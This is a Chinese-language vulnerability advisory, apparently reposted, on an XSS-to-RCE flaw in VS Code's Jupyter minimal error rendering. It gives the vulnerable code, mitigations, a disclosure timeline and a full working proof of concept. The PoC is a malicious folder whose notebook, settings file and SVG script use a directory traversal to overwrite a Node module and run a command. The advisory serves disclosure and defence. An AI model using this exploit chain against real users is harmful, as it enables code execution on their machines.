2024 年 4 月发现 Visual Studio Code(VS Code <= 1.89.1)的高严重漏洞,攻击者可将跨站脚本(XSS)漏洞升级为完全远程代码执行(RCE),即使在受限模式下也可。
- 桌面版运行及相关机制:桌面版 VS Code 在 Electron 上运行,渲染进程被沙盒化并通过Electron 的 IPC 机制与主进程通信。
XSS 漏洞详情及触发条件:新引入的 Jupyter 笔记本最小错误渲染模式中的 XSS 漏洞,可使任意 JavaScript 代码在笔记本渲染器的
vscode-app
WebView 中执行。通过打开精心制作的.ipynb
文件(若用户启用设置)或在 VS Code 中打开包含精心制作的settings.json
文件的文件夹并在其中打开恶意 ipynb 文件可触发该漏洞,即使受限模式开启(未被用户明确信任的工作区的默认模式)也可触发。相关代码片段如下:function renderError( outputInfo: OutputItem, outputElement: HTMLElement, ctx: IRichRenderContext, trustHtml: boolean // false if workspace is not trusted ): IDisposable { //... if (err.stack) { const minimalError = ctx.settings.minimalError &&!!headerMessage?.length; outputElement.classList.add('traceback'); const { formattedStack, errorLocation } = formatStackTrace(err.stack); //... if (minimalError) { createMinimalError(errorLocation, headerMessage, stackTraceElement, outputElement); } else { //... } } else { //... } outputElement.classList.add('error'); return disposableStore; }
export function formatStackTrace(stack: string): { formattedStack: string; errorLocation?: string } { let cleaned: string; //... if (isIpythonStackTrace(cleaned)) { return linkifyStack(cleaned); } } const cellRegex = /(?<prefix>Cell\s+(?:\u001b\[.+?m)?In\s*\[(?<executionCount>\d+)\],\s*)(?<lineLabel>line (?<lineNumber>\d+)).*/; function linkifyStack(stack: string): { formattedStack: string; errorLocation?: string } { const lines = stack.split('\n'); let fileOrCell: location | undefined; let locationLink = ''; for (const i in lines) { const original = lines[i]; if (fileRegex.test(original)) { //... } else if (cellRegex.test(original)) { fileOrCell = { kind: 'cell', path: stripFormatting(original.replace(cellRegex, 'vscode-notebook-cell:?execution_count=$<executionCount>')) }; const link = original.replace(cellRegex, `<a href=\'${fileOrCell.path}&line=$<lineNumber>\'>line $<lineNumber></a>`); // [1] lines[i] = original.replace(cellRegex, `$<prefix>${link}`); locationLink = locationLink || link; // [2] continue; } //... } const errorLocation = locationLink; // [3] return { formattedStack: lines.join('\n'), errorLocation }; }
function createMinimalError(errorLocation: string | undefined, headerMessage: string, stackTrace: HTMLDivElement, outputElement: HTMLElement) { const outputDiv = document.createElement('div'); const headerSection = document.createElement('div'); headerSection.classList.add('error-output-header'); if (errorLocation && errorLocation.indexOf('<a') === 0) { headerSection.innerHTML = errorLocation; // [4] } const header = document.createElement('span'); header.innerText = headerMessage; headerSection.appendChild(header); outputDiv.appendChild(headerSection); //... outputElement.appendChild(outputDiv); }
在
[1]
和[2]
处,代码将类似Cell In [1], line 6
的序列转换为链接 HTML 标签,在[3]
处设置errorLocation
变量,若errorLocation
以<a>
开头则在[4]
处直接赋值给headerSection.innerHTML
,从而导致可执行 JavaScript 代码。- 升级为 RCE 的途径:XSS 漏洞导致代码在
vscode-app
起源下的 iframe 中执行,主工作台窗口包含vscode.ipcRenderer
对象,可让渲染框架向主框架发送 IPC 消息以执行文件系统操作等。通过找到在vscode-file
起源下执行代码的方法可升级为 RCE,vscode-file
协议处理程序的代码位于src/vs/platform/protocol/electron-main/protocolMainService.ts,.svg
文件可包含 JavaScript 代码,可通过包含恶意 SVG 文件并利用其中的 DOM 元素获取存储目录来实现。在 SVG 文件中可使用top.vscode.ipcRenderer
调用主进程的 IPC 处理程序,如vscode:readNlsFile
和vscode:writeNlsFile
易受目录遍历攻击,可用于在 Windows 和 macOS 上执行代码,在 Linux 上可通过类似方式写入.bashrc
等执行代码。 概念验证(PoC):PoC 是包含 VS Code 工作区的恶意文件夹,打开方式为在 VS Code 中使用“打开文件夹”命令并打开其中的 README.ipynb 文件,文件结构如下:
not_sus_repo ├──.vscode │ └── settings.json ├── README.ipynb └── icon.svg
vscode/settings.json
:{ "notebook.output.minimalErrorRendering": true }
README.ipynb
:{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [ { "data": { "application/vnd.code.notebook.error": { "message": "error", "name": "name", "stack": "<a><img src onerror=\"var root=document.getElementsByTagName('base')[0].href;root=root.replace('https://file+.vscode-resource.vscode-cdn.net/','vscode-file://vscode-app/');var iframe=document.createElement('iframe');iframe.src=root+'icon.svg',iframe.style.display='none',document.body.appendChild(iframe);\">Cell \u001b[1;32mIn[1], line 6" } }, "metadata": {}, "output_type": "display_data" } ], "source": [ "def make_big_err(i):\n", " if i <= 0:\n", " raise Exception()\n", " make_big_err(i-1)\n", "\n", "make_big_err(10)" ] } ] }
icon.svg
:<svg height="100" width="100" xmlns="http://www.w3.org/2000/svg"> <circle r="45" cx="50" cy="50" fill="red" /> <script> async function exp() { const pathSep = top.vscode.process.platform === 'win32'? '\\' : '/'; const a = top.vscode.context.configuration().userDataDir; let b = top.vscode.context.configuration().appRoot; let payload = top.vscode.process.platform === 'win32'? 'start calc.exe' : 'open -a Calculator.app'; if (b[1] === ':') { b = b.slice(2); } const subPath = `clp${pathSep}${('..' + pathSep).repeat(15)}${b}${pathSep}out${pathSep}node_modules${pathSep}graceful-fs.js`; await top.vscode.ipcRenderer.invoke('vscode:writeNlsFile', `${a}${pathSep}${subPath}`, `require("child_process").exec("${payload}");`); top.vscode.ipcRenderer.send('vscode:reloadWindow'); } exp(); </script> </svg>
建议的缓解措施:
- 在
createMinimalError
中,确保errorLocation
仅由具有指定 URI 格式的<a>
标签组成后再赋值给headerSection.innerHTML
。 - 在笔记本渲染器 WebView 中使用内容安全策略,以确保在受限模式下仅运行受信任的脚本。
- 在
时间线:
- 2024-07-03 供应商披露
- 2024-07-03 初始供应商联系
- 2024-07-10 与供应商共享另外两个 PoC
- 2024-08-02 供应商回复“此案例被评估为低严重级别,由于无需大量用户交互(即接受保存到攻击者控制位置的提示)即可执行 RCE 不再可能,因此不符合 MSRC 的立即服务标准。”
- 2025-05-14 公开披露
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。